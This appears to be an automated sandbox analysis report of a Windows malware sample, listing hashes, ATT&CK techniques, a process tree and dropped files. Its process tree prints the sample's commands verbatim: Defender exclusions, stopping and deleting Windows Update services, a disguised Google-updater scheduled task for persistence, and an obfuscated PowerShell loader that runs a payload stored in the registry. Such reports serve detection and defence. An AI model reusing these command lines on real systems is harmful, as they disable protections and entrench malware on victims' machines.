78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

General

Target

dmi1dfg7n.exe
Size

2.8MB
MD5

9253ed091d81e076a3037e12af3dc871
SHA1

ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA256

78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
SHA512

29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP

49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 1996 created 420 1996 powershell.EXE winlogon.exe
PID 268 created 420 268 powershell.EXE winlogon.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1788 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1616 taskeng.exe

description	pid	process	target process
PID 1996 created 420	1996	powershell.EXE	winlogon.exe
PID 268 created 420	268	powershell.EXE	winlogon.exe

pid	process
1788	updater.exe

pid	process
1616	taskeng.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

dmi1dfg7n.exepowershell.EXEpowershell.EXE

description	pid	process	target process
PID 948 set thread context of 2036	948	dmi1dfg7n.exe	dialer.exe
PID 1996 set thread context of 1484	1996	powershell.EXE	dllhost.exe
PID 268 set thread context of 1820	268	powershell.EXE	dllhost.exe

Drops file in Program Files directory 1 IoCs

Processes:

dmi1dfg7n.exe

description ioc process

File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	dmi1dfg7n.exe

Drops file in Windows directory 4 IoCs

Processes:

dialer.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

548 sc.exe
1624 sc.exe
964 sc.exe
2016 sc.exe
1740 sc.exe
1584 sc.exe
1132 sc.exe
996 sc.exe
584 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2016 schtasks.exe
432 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1480 WMIC.exe

pid	process
548	sc.exe
1624	sc.exe
964	sc.exe
2016	sc.exe
1740	sc.exe
1584	sc.exe
1132	sc.exe
996	sc.exe
584	sc.exe

pid	process
2016	schtasks.exe
432	schtasks.exe

pid	process
1480	WMIC.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a02e1593cc9fd901	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEpowershell.exedllhost.exe

pid	process
932	powershell.exe
580	powershell.exe
1988	powershell.exe
1996	powershell.EXE
1996	powershell.EXE
1484	dllhost.exe
1484	dllhost.exe
1484	dllhost.exe
1484	dllhost.exe
268	powershell.EXE
1272	powershell.exe
268	powershell.EXE
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEpowershell.exedllhost.exe

description	pid	process
Token: SeDebugPrivilege	932	powershell.exe
Token: SeShutdownPrivilege	1488	powercfg.exe
Token: SeShutdownPrivilege	1740	powercfg.exe
Token: SeDebugPrivilege	580	powershell.exe
Token: SeShutdownPrivilege	284	powercfg.exe
Token: SeShutdownPrivilege	288	powercfg.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1996	powershell.EXE
Token: SeDebugPrivilege	1996	powershell.EXE
Token: SeDebugPrivilege	1484	dllhost.exe
Token: SeDebugPrivilege	268	powershell.EXE
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	268	powershell.EXE
Token: SeDebugPrivilege	1820	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

dmi1dfg7n.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 948 wrote to memory of 932	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 932	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 932	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 340	948	dmi1dfg7n.exe	cmd.exe
PID 948 wrote to memory of 340	948	dmi1dfg7n.exe	cmd.exe
PID 948 wrote to memory of 340	948	dmi1dfg7n.exe	cmd.exe
PID 948 wrote to memory of 1028	948	dmi1dfg7n.exe	cmd.exe
PID 948 wrote to memory of 1028	948	dmi1dfg7n.exe	cmd.exe
PID 948 wrote to memory of 1028	948	dmi1dfg7n.exe	cmd.exe
PID 948 wrote to memory of 580	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 580	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 580	948	dmi1dfg7n.exe	powershell.exe
PID 340 wrote to memory of 548	340	cmd.exe	sc.exe
PID 340 wrote to memory of 548	340	cmd.exe	sc.exe
PID 340 wrote to memory of 548	340	cmd.exe	sc.exe
PID 1028 wrote to memory of 1488	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 1488	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 1488	1028	cmd.exe	powercfg.exe
PID 340 wrote to memory of 1624	340	cmd.exe	sc.exe
PID 340 wrote to memory of 1624	340	cmd.exe	sc.exe
PID 340 wrote to memory of 1624	340	cmd.exe	sc.exe
PID 340 wrote to memory of 1132	340	cmd.exe	sc.exe
PID 340 wrote to memory of 1132	340	cmd.exe	sc.exe
PID 340 wrote to memory of 1132	340	cmd.exe	sc.exe
PID 1028 wrote to memory of 1740	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 1740	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 1740	1028	cmd.exe	powercfg.exe
PID 340 wrote to memory of 964	340	cmd.exe	sc.exe
PID 340 wrote to memory of 964	340	cmd.exe	sc.exe
PID 340 wrote to memory of 964	340	cmd.exe	sc.exe
PID 1028 wrote to memory of 284	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 284	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 284	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 288	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 288	1028	cmd.exe	powercfg.exe
PID 1028 wrote to memory of 288	1028	cmd.exe	powercfg.exe
PID 340 wrote to memory of 2016	340	cmd.exe	sc.exe
PID 340 wrote to memory of 2016	340	cmd.exe	sc.exe
PID 340 wrote to memory of 2016	340	cmd.exe	sc.exe
PID 580 wrote to memory of 432	580	powershell.exe	schtasks.exe
PID 580 wrote to memory of 432	580	powershell.exe	schtasks.exe
PID 580 wrote to memory of 432	580	powershell.exe	schtasks.exe
PID 340 wrote to memory of 1272	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1272	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1272	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1752	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1752	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1752	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1356	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1356	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1356	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1372	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1372	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1372	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1972	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1972	340	cmd.exe	reg.exe
PID 340 wrote to memory of 1972	340	cmd.exe	reg.exe
PID 948 wrote to memory of 2036	948	dmi1dfg7n.exe	dialer.exe
PID 948 wrote to memory of 2036	948	dmi1dfg7n.exe	dialer.exe
PID 948 wrote to memory of 2036	948	dmi1dfg7n.exe	dialer.exe
PID 948 wrote to memory of 2036	948	dmi1dfg7n.exe	dialer.exe
PID 948 wrote to memory of 1988	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 1988	948	dmi1dfg7n.exe	powershell.exe
PID 948 wrote to memory of 1988	948	dmi1dfg7n.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
2⤵
PID:600

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{81358db2-5a98-4252-931b-2894c3cf4a03}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1484

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{01044d25-8078-4f71-b09b-b57cb1209b10}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe
"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"
1⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:932

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:340

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:548

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1624

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1132

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:964

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:2016

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1272

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1752

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:1356

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1372

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1972

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:1028

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1488

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1740

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:288

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:580

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:432

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe
2⤵
- Drops file in Windows directory
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:1252

C:\Windows\system32\taskeng.exe
taskeng.exe {BC74DD8B-29EE-424F-87A0-F6CFA49BF1BA} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:1616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Executes dropped EXE
PID:1788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1856

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1740

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:1584

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:996

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:584

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
PID:2036

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
PID:708

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
PID:1448

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
PID:676

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
PID:340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
3⤵
- Drops file in System32 directory
PID:1632

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
4⤵
- Creates scheduled task(s)
PID:2016

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe xtrjicqmdliu
3⤵
PID:288

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
4⤵
PID:1732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
PID:1544

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
PID:316

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
- Detects videocard installed
PID:1480

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
3⤵
PID:888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:268

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Impair Defenses

1

T1562

Credential Access

Discovery

System Information Discovery

1

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
102fa7d211b1151a9f8618af42b6ca6e

SHA1
7b524c60a20eefcae6045183a7a2d1f9478052a3

SHA256
d5903feb38acb7186b33c04ea25a0570b5e949a29d3c92c07bbcecc8719bad4d

SHA512
6b4d0c048c9f6b1f1cf702a4e757c20df7fc65581e80085ac1735da65e8e19a4a8650a72ed5384d1b171400c3214977d37fdee4f50871761f08bdf3f6d1971d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
102fa7d211b1151a9f8618af42b6ca6e

SHA1
7b524c60a20eefcae6045183a7a2d1f9478052a3

SHA256
d5903feb38acb7186b33c04ea25a0570b5e949a29d3c92c07bbcecc8719bad4d

SHA512
6b4d0c048c9f6b1f1cf702a4e757c20df7fc65581e80085ac1735da65e8e19a4a8650a72ed5384d1b171400c3214977d37fdee4f50871761f08bdf3f6d1971d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KPKRH2OHKTLQLHCX70DZ.temp
Filesize
7KB

MD5
102fa7d211b1151a9f8618af42b6ca6e

SHA1
7b524c60a20eefcae6045183a7a2d1f9478052a3

SHA256
d5903feb38acb7186b33c04ea25a0570b5e949a29d3c92c07bbcecc8719bad4d

SHA512
6b4d0c048c9f6b1f1cf702a4e757c20df7fc65581e80085ac1735da65e8e19a4a8650a72ed5384d1b171400c3214977d37fdee4f50871761f08bdf3f6d1971d6

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
